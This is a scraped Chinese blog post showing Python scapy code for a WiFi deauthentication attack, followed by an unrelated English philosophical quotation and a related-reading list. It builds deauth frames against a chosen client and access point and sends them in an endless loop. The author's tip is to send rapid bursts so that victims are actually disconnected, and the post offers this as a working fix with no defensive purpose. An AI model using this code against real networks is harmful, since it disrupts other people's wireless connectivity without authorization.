zoukankan      html  css  js  c++  java
  • scapy WiFi deauth攻击

    成功的关键在于:发送deauth包的速度要快。
    实测这样的代码是行不通的:

    pkt = RadioTap() / 
    Dot11(subtype=0xc,
    addr1=dest, addr2=bssid, addr3=bssid) / 
    Dot11Deauth(reason=3)
    
    timeout=1
    while True:
        sendp(pkt, iface=iface)
        time.sleep(timeout)
    

    得这样:

    pkt = RadioTap() / 
    Dot11(subtype=0xc,
    addr1=dest, addr2=bssid, addr3=bssid) / 
    Dot11Deauth(reason=3)
    
    timeout=1
    while True:
        sendp(pkt, iface=iface, inter=0.05, count=5) # 这样就足够快了
        time.sleep(timeout) # 这个延时个人觉得没啥存在意义,可略
    

    PS:我觉得 Understanding Network Hacks里的代码都是没有调试过的,坑好多。。

    Those who seek some sort of a higher purpose or 'universal goal', who don't know what to live for, who moan that they must 'find themselves'. You hear it all around us. That seems to be theofficial bromide of our century. Every book you open. Every drooling self-confession. It seems to be the noble thing to confess. I'd think it would be the most shameful one.
  • 相关阅读:
    麦茶商务的网站
    jQuery Ajax 实例 ($.ajax、$.post、$.get)
    关于meta知多少
    WebApp之Meta标签
    html5开发之viewport使用
    bootstrap
    8.8&8.9 dp训练小结
    2019.8.10小结
    2019.8.17 小结
    [NOI2001]炮兵阵地 题解
  • 原文地址:https://www.cnblogs.com/spenghui/p/7765818.html
Copyright © 2011-2022 走看看